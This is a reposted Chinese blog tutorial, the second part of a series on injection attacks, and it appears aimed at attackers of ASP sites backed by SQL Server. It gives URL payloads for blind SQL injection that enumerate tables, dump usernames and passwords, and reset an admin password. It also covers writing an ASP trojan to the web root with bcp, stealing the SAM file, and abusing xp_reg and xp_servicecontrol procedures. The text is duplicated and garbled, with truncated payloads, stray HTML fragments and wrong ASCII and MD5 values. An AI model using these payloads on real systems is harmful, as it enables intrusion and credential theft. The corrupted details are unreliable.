什么是注入式攻击(2)
生活随笔
收集整理的這篇文章主要介紹了
什么是注入式攻击(2)
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
l 猜解數據庫中用戶名表的名稱
猜解法:此方法就是根據個人的經驗猜表名,一般來說,user,users,member,members,userlist,memberlist,userinfo,manager,admin,adminuser,systemuser,
systemusers,sysuser,sysusers,sysaccounts,systemaccounts等。并通過語句進行判斷
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from TestDB.dbo.表名)>0 若表名存在,則abc.asp工作正常,否則異常。如此循環,直到猜到系統帳號表的名稱。
讀取法:SQL-SERVER有一個存放系統核心信息的表sysobjects,有關一個庫的所有表,視圖等信息全部存放在此表中,而且此表可以通過WEB進行訪問。
當xtype=''U'' and status>0代表是用戶建立的表,發現并分析每一個用戶建立的表及名稱,便可以得到用戶名表的名稱,基本的實現方法是:
①HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 name from TestD ... type=''U'' and status>0 )>0 得到第一個用戶建立表的名稱,并與整數進行比較,顯然abc.asp工作異常,但在異常中卻可以發現表的名稱。假設發現的表名是xyz,則
②0="" testdb.dbo.sysobjects&="">HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 name from TestDB.dbo.sysobjects& ... tatus>0 and name not in(''xyz''))>0 可以得到第二個用戶建立的表的名稱,同理就可得到所有用建立的表的名稱。
根據表的名稱,一般可以認定那張表用戶存放用戶名及密碼,以下假設此表名為Admin。
l 猜解用戶名字段及密碼字段名稱
admin表中一定有一個用戶名字段,也一定有一個密碼字段,只有得到此兩個字段的名稱,才有可能得到此兩字段的內容。如何得到它們的名稱呢,同樣有以下兩種方法。
猜解法:此方法就是根據個人的經驗猜字段名,一般來說,用戶名字段的名稱常用:username,name,user,account等。而密碼字段的名稱常用:password,pass,pwd,passwd等。并通過語句進行判斷
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(字段名) from TestDB.dbo.admin)>0 "select count(字段名) from 表名"語句得到表的行數,所以若字段名存在,則abc.asp工作正常,否則異常。如此循環,直到猜到兩個字段的名稱。
讀取法:基本的實現方法是
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select ?... me(object_id(''admin''),1) from TestDB.dbo.sysobjects)>0 。select top 1 col_name(object_id(''admin''),1) from TestDB.dbo.sysobjects是從sysobjects得到已知表名的第一個字段名,當與整數進行比較,顯然abc.asp工作異常,但在異常中卻可以發現字段的名稱。把col_name(object_id(''admin''),1)中的1依次換成2,3,4,5,6...就可得到所有的字段名稱。
l 猜解用戶名與密碼
猜用戶名與密碼的內容最常用也是最有效的方法有:
ASCII碼逐字解碼法:雖然這種方法速度較慢,但肯定是可行的。基本的思路是先猜出字段的長度,然后依次猜出每一位的值。猜用戶名與猜密碼的方法相同,以下以猜用戶名為例說明其過程。
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top&n ... nbsp;from TestDB.dbo.admin)=X(X=1,2,3,4,5,... n,username為用戶名字段的名稱,admin為表的名稱),若x為某一值i且abc.asp運行正常時,則i就是第一個用戶名的長度。如:當輸入
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top ... e) from TestDB.dbo.admin)=8時abc.asp運行正常,則第一個用戶名的長度為8
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (sel ... ?ascii(substring(username,m,1)) from TestDB.dbo.admin)=n (m的值在1到上一步得到的用戶名長度之間,當m=1,2,3,...時猜測分別猜測第1,2,3,...位的值;n的值是1~9、a~z、A~Z的 ASCII值,也就是1~128之間的任意值;admin為系統用戶帳號表的名稱),若n為某一值i且abc.asp運行正常時,則i對應ASCII碼就是用戶名某一位值。如:當輸入
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (sel ... ?ascii(substring(username,3,1)) from TestDB.dbo.admin)=80時abc.asp運行正常,則用戶名的第三位為P(P的ASCII為80);
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (sel ... ?ascii(substring(username,9,1)) from TestDB.dbo.admin)=33時abc.asp運行正常,則用戶名的第9位為!(!的ASCII為80);
猜到第一個用戶名及密碼后,同理,可以猜出其他所有用戶名與密碼。注意:有時得到的密碼可能是經MD5等方式加密后的信息,還需要用專用工具進行脫密。或者先改其密碼,使用完后再改回來,見下面說明。
簡單法:猜用戶名用
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 flag from TestDB.dbo.admin where username>1) , flag是admin表中的一個字段,username是用戶名字段,此時abc.asp工作異常,但能得到Username的值。與上同樣的方法,可以得到第二用戶名,第三個用戶等等,直到表中的所有用戶名。
猜用戶密碼:HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 flag from TestDB.dbo.admin where pwd>1) , flag是admin表中的一個字段,pwd是密碼字段,此時abc.asp工作異常,但能得到pwd的值。與上同樣的方法,可以得到第二用戶名的密碼,第三個用戶的密碼等等,直到表中的所有用戶的密碼。密碼有時是經MD5加密的,可以改密碼。
HTTP://xxx.xxx.xxx/abc.asp?p=YY;update TestDB.dbo.admin set pwd='''' a0b923820dcc509a'''' where username=''''www'''';-- ( 1的MD5值為:AAABBBCCCDDDEEEF,即把密碼改成1;www為已知的用戶名)
用同樣的方法當然可把密碼改原來的值。
2、利用表內容導成文件功能
SQL有BCP命令,它可以把表的內容導成文本文件并放到指定位置。利用這項功能,我們可以先建一張臨時表,然后在表中一行一行地輸入一個ASP木馬,然后用BCP命令導出形成ASP文件。
命令行格式如下:
bcp "select * from text..foo" queryout c:\inetpub\wwwroot\runcommand.asp –c –S localhost –U sa –P foobar (''''S''''參數為執行查詢的服務器,''''U''''參數為用戶名,''''P''''參數為密碼,最終上傳了一個runcommand.asp的木馬)
六、得到系統的管理員權限
ASP木馬只有USER權限,要想獲取對系統的完全控制,還要有系統的管理員權限。怎么辦?提升權限的方法有很多種:
上傳木馬,修改開機自動運行的.ini文件(它一重啟,便死定了);
復制CMD.exe到scripts,人為制造UNICODE漏洞;
下載SAM文件,破解并獲取OS的所有用戶名密碼;
等等,視系統的具體情況而定,可以采取不同的方法。
七、幾個SQL-SERVER專用手段
1、利用xp_regread擴展存儲過程修改注冊表
[xp_regread] 另一個有用的內置存儲過程是xp_regXXXX類的函數集合(Xp_regaddmultistring,Xp_regdeletekey, Xp_regdeletevalue,Xp_regenumkeys,Xp_regenumvalues,Xp_regread, Xp_regremovemultistring,Xp_regwrite)。攻擊者可以利用這些函數修改注冊表,如讀取SAM值,允許建立空連接,開機自動運行程序等。如:
exec xp_regread HKEY_LOCAL_MACHINE,''''SYSTEM\CurrentControlSet\Services\lanmanserver\parameters'''', ''''nullsessionshares'''' 確定什么樣的會話連接在服務器可用。
exec xp_regenumvalues HKEY_LOCAL_MACHINE,''''SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'''' 顯示服務器上所有SNMP團體配置,有了這些信息,攻擊者或許會重新配置同一網絡中的網絡設備。
2、利用其他存儲過程去改變服務器
xp_servicecontrol過程允許用戶啟動,停止服務。如:
(exec master..xp_servicecontrol ''''start'''',''''schedule''''
exec master..xp_servicecontrol ''''start'''',''''server'''')
Xp_availablemedia 顯示機器上有用的驅動器
Xp_dirtree 允許獲得一個目錄樹
Xp_enumdsn 列舉服務器上的ODBC數據源
Xp_loginconfig 獲取服務器安全信息
Xp_makecab 允許用戶在服務器上創建一個壓縮文件
Xp_ntsec_enumdomains 列舉服務器可以進入的域
Xp_terminate_process 提供進程的進程ID,終止此進程
附件一:URLUnicode表(節選,主要是非字母的字符,RFC1738)
字符特殊字符的含義 URL編碼
#用來標志特定的文檔位置 %23
%對特殊字符進行編碼 %25
&分隔不同的變量值對 %26
+在變量值中表示空格 %2B
/ 表示目錄路徑 %2F
\ %5C
=用來連接鍵和值 %3D
?表示查詢字符串的開始%3F
空格 %20
. 句號 %2E
: 冒號 %3A
附件二:ASCII表(節選)
Dec Hex Char Dec Hex Char
80 50 P
32 20 (space) 81 51 Q
33 21 ! 82 52 R
34 22 " 83 53 S
35 23 # 84 54 T
36 24 $Content$nbsp; 85 55 U
37 25 % 86 56 V
38 26 & 87 57 W
39 27 '''' 88 58 X
40 28 ( 89 59 Y
41 29 ) 90 5A Z
42 2A * 91 5B [
43 2B + 92 5C \
44 2C , 93 5D ]
45 2D - 94 5E ^
46 2E . 95 5F _
47 2F / 96 60 `
48 30 0 97 61 a
49 31 1 98 62 b
50 32 2 99 63 c
51 33 3 100 64 d
52 34 4
53 35 5 101 65 e
54 36 6 102 66 f
55 37 7 103 67 g
56 38 8 104 68 h
57 39 9 105 69 i
58 3A : 106 6A j
59 3B ; 107 6B k
60 3C ?110 6E n
63 3F ? 111 6F o
112 70 p
64 40 @ 113 72 q
65 41 A 114 72 r
66 42 B 115 73 s
67 43 C 116 74 t
68 44 D 117 75 u
69 45 E 118 76 v
70 46 F 119 77 w
71 47 G 120 78 x
72 48 H 121 79 y
73 49 I 122 7A z
74 4A J 123 7B {
75 4B K 124 7C |
76 4C L 125 7D }
77 4D M 126 7E ~
78 4E N 127 7F €
79 4F O 128 80
猜解法:此方法就是根據個人的經驗猜表名,一般來說,user,users,member,members,userlist,memberlist,userinfo,manager,admin,adminuser,systemuser,
systemusers,sysuser,sysusers,sysaccounts,systemaccounts等。并通過語句進行判斷
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from TestDB.dbo.表名)>0 若表名存在,則abc.asp工作正常,否則異常。如此循環,直到猜到系統帳號表的名稱。
讀取法:SQL-SERVER有一個存放系統核心信息的表sysobjects,有關一個庫的所有表,視圖等信息全部存放在此表中,而且此表可以通過WEB進行訪問。
當xtype=''U'' and status>0代表是用戶建立的表,發現并分析每一個用戶建立的表及名稱,便可以得到用戶名表的名稱,基本的實現方法是:
①HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 name from TestD ... type=''U'' and status>0 )>0 得到第一個用戶建立表的名稱,并與整數進行比較,顯然abc.asp工作異常,但在異常中卻可以發現表的名稱。假設發現的表名是xyz,則
②0="" testdb.dbo.sysobjects&="">HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 name from TestDB.dbo.sysobjects& ... tatus>0 and name not in(''xyz''))>0 可以得到第二個用戶建立的表的名稱,同理就可得到所有用建立的表的名稱。
根據表的名稱,一般可以認定那張表用戶存放用戶名及密碼,以下假設此表名為Admin。
l 猜解用戶名字段及密碼字段名稱
admin表中一定有一個用戶名字段,也一定有一個密碼字段,只有得到此兩個字段的名稱,才有可能得到此兩字段的內容。如何得到它們的名稱呢,同樣有以下兩種方法。
猜解法:此方法就是根據個人的經驗猜字段名,一般來說,用戶名字段的名稱常用:username,name,user,account等。而密碼字段的名稱常用:password,pass,pwd,passwd等。并通過語句進行判斷
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(字段名) from TestDB.dbo.admin)>0 "select count(字段名) from 表名"語句得到表的行數,所以若字段名存在,則abc.asp工作正常,否則異常。如此循環,直到猜到兩個字段的名稱。
讀取法:基本的實現方法是
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select ?... me(object_id(''admin''),1) from TestDB.dbo.sysobjects)>0 。select top 1 col_name(object_id(''admin''),1) from TestDB.dbo.sysobjects是從sysobjects得到已知表名的第一個字段名,當與整數進行比較,顯然abc.asp工作異常,但在異常中卻可以發現字段的名稱。把col_name(object_id(''admin''),1)中的1依次換成2,3,4,5,6...就可得到所有的字段名稱。
l 猜解用戶名與密碼
猜用戶名與密碼的內容最常用也是最有效的方法有:
ASCII碼逐字解碼法:雖然這種方法速度較慢,但肯定是可行的。基本的思路是先猜出字段的長度,然后依次猜出每一位的值。猜用戶名與猜密碼的方法相同,以下以猜用戶名為例說明其過程。
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top&n ... nbsp;from TestDB.dbo.admin)=X(X=1,2,3,4,5,... n,username為用戶名字段的名稱,admin為表的名稱),若x為某一值i且abc.asp運行正常時,則i就是第一個用戶名的長度。如:當輸入
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top ... e) from TestDB.dbo.admin)=8時abc.asp運行正常,則第一個用戶名的長度為8
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (sel ... ?ascii(substring(username,m,1)) from TestDB.dbo.admin)=n (m的值在1到上一步得到的用戶名長度之間,當m=1,2,3,...時猜測分別猜測第1,2,3,...位的值;n的值是1~9、a~z、A~Z的 ASCII值,也就是1~128之間的任意值;admin為系統用戶帳號表的名稱),若n為某一值i且abc.asp運行正常時,則i對應ASCII碼就是用戶名某一位值。如:當輸入
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (sel ... ?ascii(substring(username,3,1)) from TestDB.dbo.admin)=80時abc.asp運行正常,則用戶名的第三位為P(P的ASCII為80);
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (sel ... ?ascii(substring(username,9,1)) from TestDB.dbo.admin)=33時abc.asp運行正常,則用戶名的第9位為!(!的ASCII為80);
猜到第一個用戶名及密碼后,同理,可以猜出其他所有用戶名與密碼。注意:有時得到的密碼可能是經MD5等方式加密后的信息,還需要用專用工具進行脫密。或者先改其密碼,使用完后再改回來,見下面說明。
簡單法:猜用戶名用
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 flag from TestDB.dbo.admin where username>1) , flag是admin表中的一個字段,username是用戶名字段,此時abc.asp工作異常,但能得到Username的值。與上同樣的方法,可以得到第二用戶名,第三個用戶等等,直到表中的所有用戶名。
猜用戶密碼:HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 flag from TestDB.dbo.admin where pwd>1) , flag是admin表中的一個字段,pwd是密碼字段,此時abc.asp工作異常,但能得到pwd的值。與上同樣的方法,可以得到第二用戶名的密碼,第三個用戶的密碼等等,直到表中的所有用戶的密碼。密碼有時是經MD5加密的,可以改密碼。
HTTP://xxx.xxx.xxx/abc.asp?p=YY;update TestDB.dbo.admin set pwd='''' a0b923820dcc509a'''' where username=''''www'''';-- ( 1的MD5值為:AAABBBCCCDDDEEEF,即把密碼改成1;www為已知的用戶名)
用同樣的方法當然可把密碼改原來的值。
2、利用表內容導成文件功能
SQL有BCP命令,它可以把表的內容導成文本文件并放到指定位置。利用這項功能,我們可以先建一張臨時表,然后在表中一行一行地輸入一個ASP木馬,然后用BCP命令導出形成ASP文件。
命令行格式如下:
bcp "select * from text..foo" queryout c:\inetpub\wwwroot\runcommand.asp –c –S localhost –U sa –P foobar (''''S''''參數為執行查詢的服務器,''''U''''參數為用戶名,''''P''''參數為密碼,最終上傳了一個runcommand.asp的木馬)
六、得到系統的管理員權限
ASP木馬只有USER權限,要想獲取對系統的完全控制,還要有系統的管理員權限。怎么辦?提升權限的方法有很多種:
上傳木馬,修改開機自動運行的.ini文件(它一重啟,便死定了);
復制CMD.exe到scripts,人為制造UNICODE漏洞;
下載SAM文件,破解并獲取OS的所有用戶名密碼;
等等,視系統的具體情況而定,可以采取不同的方法。
七、幾個SQL-SERVER專用手段
1、利用xp_regread擴展存儲過程修改注冊表
[xp_regread] 另一個有用的內置存儲過程是xp_regXXXX類的函數集合(Xp_regaddmultistring,Xp_regdeletekey, Xp_regdeletevalue,Xp_regenumkeys,Xp_regenumvalues,Xp_regread, Xp_regremovemultistring,Xp_regwrite)。攻擊者可以利用這些函數修改注冊表,如讀取SAM值,允許建立空連接,開機自動運行程序等。如:
exec xp_regread HKEY_LOCAL_MACHINE,''''SYSTEM\CurrentControlSet\Services\lanmanserver\parameters'''', ''''nullsessionshares'''' 確定什么樣的會話連接在服務器可用。
exec xp_regenumvalues HKEY_LOCAL_MACHINE,''''SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'''' 顯示服務器上所有SNMP團體配置,有了這些信息,攻擊者或許會重新配置同一網絡中的網絡設備。
2、利用其他存儲過程去改變服務器
xp_servicecontrol過程允許用戶啟動,停止服務。如:
(exec master..xp_servicecontrol ''''start'''',''''schedule''''
exec master..xp_servicecontrol ''''start'''',''''server'''')
Xp_availablemedia 顯示機器上有用的驅動器
Xp_dirtree 允許獲得一個目錄樹
Xp_enumdsn 列舉服務器上的ODBC數據源
Xp_loginconfig 獲取服務器安全信息
Xp_makecab 允許用戶在服務器上創建一個壓縮文件
Xp_ntsec_enumdomains 列舉服務器可以進入的域
Xp_terminate_process 提供進程的進程ID,終止此進程
附件一:URLUnicode表(節選,主要是非字母的字符,RFC1738)
字符特殊字符的含義 URL編碼
#用來標志特定的文檔位置 %23
%對特殊字符進行編碼 %25
&分隔不同的變量值對 %26
+在變量值中表示空格 %2B
/ 表示目錄路徑 %2F
\ %5C
=用來連接鍵和值 %3D
?表示查詢字符串的開始%3F
空格 %20
. 句號 %2E
: 冒號 %3A
附件二:ASCII表(節選)
Dec Hex Char Dec Hex Char
80 50 P
32 20 (space) 81 51 Q
33 21 ! 82 52 R
34 22 " 83 53 S
35 23 # 84 54 T
36 24 $Content$nbsp; 85 55 U
37 25 % 86 56 V
38 26 & 87 57 W
39 27 '''' 88 58 X
40 28 ( 89 59 Y
41 29 ) 90 5A Z
42 2A * 91 5B [
43 2B + 92 5C \
44 2C , 93 5D ]
45 2D - 94 5E ^
46 2E . 95 5F _
47 2F / 96 60 `
48 30 0 97 61 a
49 31 1 98 62 b
50 32 2 99 63 c
51 33 3 100 64 d
52 34 4
53 35 5 101 65 e
54 36 6 102 66 f
55 37 7 103 67 g
56 38 8 104 68 h
57 39 9 105 69 i
58 3A : 106 6A j
59 3B ; 107 6B k
60 3C ?110 6E n
63 3F ? 111 6F o
112 70 p
64 40 @ 113 72 q
65 41 A 114 72 r
66 42 B 115 73 s
67 43 C 116 74 t
68 44 D 117 75 u
69 45 E 118 76 v
70 46 F 119 77 w
71 47 G 120 78 x
72 48 H 121 79 y
73 49 I 122 7A z
74 4A J 123 7B {
75 4B K 124 7C |
76 4C L 125 7D }
77 4D M 126 7E ~
78 4E N 127 7F €
79 4F O 128 80
轉載于:https://www.cnblogs.com/godjiahui/archive/2007/07/05/807588.html
總結
以上是生活随笔為你收集整理的什么是注入式攻击(2)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: LINQ 中的 select
- 下一篇: enabled和priority属性